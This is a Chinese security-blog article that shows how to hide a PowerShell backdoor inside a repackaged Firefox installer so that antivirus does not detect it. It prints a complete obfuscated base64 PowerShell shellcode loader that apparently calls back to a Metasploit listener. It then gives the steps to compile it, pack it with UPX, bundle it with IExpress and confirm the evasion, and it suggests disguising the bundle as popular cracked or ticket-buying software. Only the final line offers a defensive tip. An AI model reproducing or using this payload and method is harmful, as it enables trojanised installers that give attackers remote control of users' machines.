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技术讨论 | 一种基于软件捆绑方式Bypass AV的思路
2018-10-16 14:00:03

*本文作者:si1ence,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

基于无文件攻击的思路利用 PowerShell 执行恶意代码的攻击频繁发生, Powershell 一时间成了恶意病毒的主战场,最近尝试了一种猥琐方式通过捆绑安装的方式将 Powshell 后门植入到软件安装包的方式绕过杀毒软件检测的方法。

0x1 制作后门

先在 Kali 下面生成一个 Powershell 的后门,通过编码的方式先进行简单的混淆。

简单的混淆

生成的代码文件内容如下:

powershell -w 1 -C "sv wg -;sv kd ec;sv Kp ((gv wg).value.toString()+(gv kd).value.toString());powershell (gv Kp).value.toString() 'JABrAGwAIAA9ACAAJwAkAGUAVQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHQAaAAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGUAVQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJABCAG4AIAA9ACAAMAB4AGYAYwAsADAAeABlADgALAAwAHgAOAAyACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYAMAAsADAAeAA4ADkALAAwAHgAZQA1ACwAMAB4ADMAMQAsADAAeABjADAALAAwAHgANgA0ACwAMAB4ADgAYgAsADAAeAA1ADAALAAwAHgAMwAwACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMABjACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMQA0ACwAMAB4ADgAYgAsADAAeAA3ADIALAAwAHgAMgA4ACwAMAB4ADAAZgAsADAAeABiADcALAAwAHgANABhACwAMAB4ADIANgAsADAAeAAzADEALAAwAHgAZgBmACwAMAB4AGEAYwAsADAAeAAzAGMALAAwAHgANgAxACwAMAB4ADcAYwAsADAAeAAwADIALAAwAHgAMgBjACwAMAB4ADIAMAAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4AGUAMgAsADAAeABmADIALAAwAHgANQAyACwAMAB4ADUANwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADEAMAAsADAAeAA4AGIALAAwAHgANABhACwAMAB4ADMAYwAsADAAeAA4AGIALAAwAHgANABjACwAMAB4ADEAMQAsADAAeAA3ADgALAAwAHgAZQAzACwAMAB4ADQAOAAsADAAeAAwADEALAAwAHgAZAAxACwAMAB4ADUAMQAsADAAeAA4AGIALAAwAHgANQA5ACwAMAB4ADIAMAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADgAYgAsADAAeAA0ADkALAAwAHgAMQA4ACwAMAB4AGUAMwAsADAAeAAzAGEALAAwAHgANAA5ACwAMAB4ADgAYgAsADAAeAAzADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeABhAGMALAAwAHgAYwAxACwAMAB4AGMAZgAsADAAeAAwAGQALAAwAHgAMAAxACwAMAB4AGMANwAsADAAeAAzADgALAAwAHgAZQAwACwAMAB4ADcANQAsADAAeABmADYALAAwAHgAMAAzACwAMAB4ADcAZAAsADAAeABmADgALAAwAHgAMwBiACwAMAB4ADcAZAAsADAAeAAyADQALAAwAHgANwA1ACwAMAB4AGUANAAsADAAeAA1ADgALAAwAHgAOABiACwAMAB4ADUAOAAsADAAeAAyADQALAAwAHgAMAAxACwAMAB4AGQAMwAsADAAeAA2ADYALAAwAHgAOABiACwAMAB4ADAAYwAsADAAeAA0AGIALAAwAHgAOABiACwAMAB4ADUAOAAsADAAeAAxAGMALAAwAHgAMAAxACwAMAB4AGQAMwAsADAAeAA4AGIALAAwAHgAMAA0ACwAMAB4ADgAYgAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADgAOQAsADAAeAA0ADQALAAwAHgAMgA0ACwAMAB4ADIANAAsADAAeAA1AGIALAAwAHgANQBiACwAMAB4ADYAMQAsADAAeAA1ADkALAAwAHgANQBhACwAMAB4ADUAMQAsADAAeABmAGYALAAwAHgAZQAwACwAMAB4ADUAZgAsADAAeAA1AGYALAAwAHgANQBhACwAMAB4ADgAYgAsADAAeAAxADIALAAwAHgAZQBiACwAMAB4ADgAZAAsADAAeAA1AGQALAAwAHgANgA4ACwAMAB4ADYAZQAsADAAeAA2ADUALAAwAHgANwA0ACwAMAB4ADAAMAAsADAAeAA2ADgALAAwAHgANwA3ACwAMAB4ADYAOQAsADAAeAA2AGUALAAwAHgANgA5ACwAMAB4ADUANAAsADAAeAA2ADgALAAwAHgANABjACwAMAB4ADcANwAsADAAeAAyADYALAAwAHgAMAA3ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAMwAxACwAMAB4AGQAYgAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADUAMwAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADYAOAAsADAAeAAzAGEALAAwAHgANQA2ACwAMAB4ADcAOQAsADAAeABhADcALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADYAYQAsADAAeAAwADMALAAwAHgANQAzACwAMAB4ADUAMwAsADAAeAA2ADgALAAwAHgAYgBiACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4AGUAOAAsADAAeABiADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMgBmACwAMAB4ADUANgAsADAAeAAzADQALAAwAHgAMwAxACwAMAB4ADQANAAsADAAeAA2AGQALAAwAHgANgBkACwAMAB4ADUANQAsADAAeAA0AGYALAAwAHgANgAzACwAMAB4ADcAYQAsADAAeAA3ADIALAAwAHgANQAwACwAMAB4ADcANgAsADAAeAA2ADMALAAwAHgAMwA2ACwAMAB4ADMAOAAsADAAeAA2AGMALAAwAHgANAAyACwAMAB4ADQANgAsADAAeAA1ADMALAAwAHgANAA5ACwAMAB4ADQAMQAsADAAeAA0ADQALAAwAHgANgA3ACwAMAB4ADQANwAsADAAeAA2ADgALAAwAHgAMwAxACwAMAB4ADQAZgAsADAAeAA0AGUALAAwAHgAMAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgANQA3ACwAMAB4ADgAOQAsADAAeAA5AGYALAAwAHgAYwA2ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAA5ACwAMAB4AGMANgAsADAAeAA1ADMALAAwAHgANgA4ACwAMAB4ADAAMAAsADAAeAAzADIALAAwAHgAZQAwACwAMAB4ADgANAAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADUAMwAsADAAeAA1ADcALAAwAHgANQAzACwAMAB4ADUANgAsADAAeAA2ADgALAAwAHgAZQBiACwAMAB4ADUANQAsADAAeAAyAGUALAAwAHgAMwBiACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOQA2ACwAMAB4ADYAYQAsADAAeAAwAGEALAAwAHgANQBmACwAMAB4ADYAOAAsADAAeAA4ADAALAAwAHgAMwAzACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAOAA5ACwAMAB4AGUAMAAsADAAeAA2AGEALAAwAHgAMAA0ACwAMAB4ADUAMAAsADAAeAA2AGEALAAwAHgAMQBmACwAMAB4ADUANgAsADAAeAA2ADgALAAwAHgANwA1ACwAMAB4ADQANgAsADAAeAA5AGUALAAwAHgAOAA2ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANQAzACwAMAB4ADUAMwAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADUANgAsADAAeAA2ADgALAAwAHgAMgBkACwAMAB4ADAANgAsADAAeAAxADgALAAwAHgANwBiACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAA1ACwAMAB4AGMAMAAsADAAeAA3ADUALAAwAHgAMQA2ACwAMAB4ADYAOAAsADAAeAA4ADgALAAwAHgAMQAzACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANgA4ACwAMAB4ADQANAAsADAAeABmADAALAAwAHgAMwA1ACwAMAB4AGUAMAAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADQAZgAsADAAeAA3ADUALAAwAHgAYwBkACwAMAB4ADYAOAAsADAAeABmADAALAAwAHgAYgA1ACwAMAB4AGEAMgAsADAAeAA1ADYALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA2AGEALAAwAHgANAAwACwAMAB4ADYAOAAsADAAeAAwADAALAAwAHgAMQAwACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANgA4ACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANAAwACwAMAB4ADAAMAAsADAAeAA1ADMALAAwAHgANgA4ACwAMAB4ADUAOAAsADAAeABhADQALAAwAHgANQAzACwAMAB4AGUANQAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADkAMwAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADgAOQAsADAAeABlADcALAAwAHgANQA3ACwAMAB4ADYAOAAsADAAeAAwADAALAAwAHgAMgAwACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANQAzACwAMAB4ADUANgAsADAAeAA2ADgALAAwAHgAMQAyACwAMAB4ADkANgAsADAAeAA4ADkALAAwAHgAZQAyACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAA1ACwAMAB4AGMAMAAsADAAeAA3ADQALAAwAHgAYwBkACwAMAB4ADgAYgAsADAAeAAwADcALAAwAHgAMAAxACwAMAB4AGMAMwAsADAAeAA4ADUALAAwAHgAYwAwACwAMAB4ADcANQAsADAAeABlADUALAAwAHgANQA4ACwAMAB4AGMAMwAsADAAeAA1AGYALAAwAHgAZQA4ACwAMAB4ADYAOQAsADAAeABmAGYALAAwAHgAZgBmACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAMwA5ACwAMAB4ADMAMgAsADAAeAAyAGUALAAwAHgAMwAxACwAMAB4ADMANgAsADAAeAAzADgALAAwAHgAMgBlACwAMAB4ADMAMQAsADAAeAAzADgALAAwAHgAMwA0ACwAMAB4ADIAZQAsADAAeAAzADEALAAwAHgAMwAzACwAMAB4ADMANAAsADAAeAAwADAAOwAkAG0AcQAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJABCAG4ALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAbQBxACAAPQAgACQAQgBuAC4ATABlAG4AZwB0AGgAfQA7ACQAQgBuAE0APQAkAHQAaAA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAG0AcQAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAEIATAA9ADAAOwAkAEIATAAgAC0AbABlACAAKAAkAEIAbgAuAEwAZQBuAGcAdABoAC0AMQApADsAJABCAEwAKwArACkAIAB7ACQAdABoADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAQgBuAE0ALgBUAG8ASQBuAHQAMwAyACgAKQArACQAQgBMACkALAAgACQAQgBuAFsAJABCAEwAXQAsACAAMQApAH0AOwAkAHQAaAA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAQgBuAE0ALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ACkAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAG4AcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABrAGwAKQApADsAJABNAGUAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAQgBuAE0AdwAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJABCAG4ATQB3ACAAJABNAGUAIAAkAG4AcQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABNAGUAIAAkAG4AcQAiADsAfQA='"

生成的txt文件能被塞门铁克直接识别出来,真是强大。

被塞门铁克直接识别出来

然后将代码保存成 .bat 文件,之后通过编译的方式转化成 exe 文件,这样后门就制造好了。

转化成 exe 文件

假装给它加一个 UPX 的壳不能太明显了。

UPX 的壳

0x2 捆绑

这里下载了 Firefox 的安装文件作为载体与后门的 exe 文件使用 IExpress 进行组装成一个新的后门:

组装成一个新的后门

新生成的文件没有了以前的签名与描述信息当然这个可以随意更改无影响,文件大小也理所当然的有些出入。

文件大小

通过压缩包的方式打开详细如下:

压缩包内容

0x3 运行

运行此恶意软件首先和正常的安装火狐是一样的界面没有出入,安装完成之后会自动执行后门 exe 程序,调用本地的 Powershell 执行代码命令。

调用本地的 Powershell

安装完成后查看本地的进程信息可以查看到进程树里面的启动顺序:

查看到进程树里面的启动顺序

本地开启的 Metasploit 监听到 session:

监听到 session

使用杀毒软件做测试扫描,未检测出异常。

未检测出异常

0x4 总结

1. 为了做的更真实一点可以用一些常用的应用软件比如火车票抢票软件、百度云盘破解版之类的补充好描述信息比较有迷惑性,通信方式也可以用一些隐蔽的隧道。

2. 日常下载软件的时候尽量选择官网下载或者可信的第三方平台,认真检查一下签名说不定后面藏了一个大惊喜什么勒索之类。

*本文作者:si1ence,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

本文作者:, 转载请注明来自FreeBuf.COM

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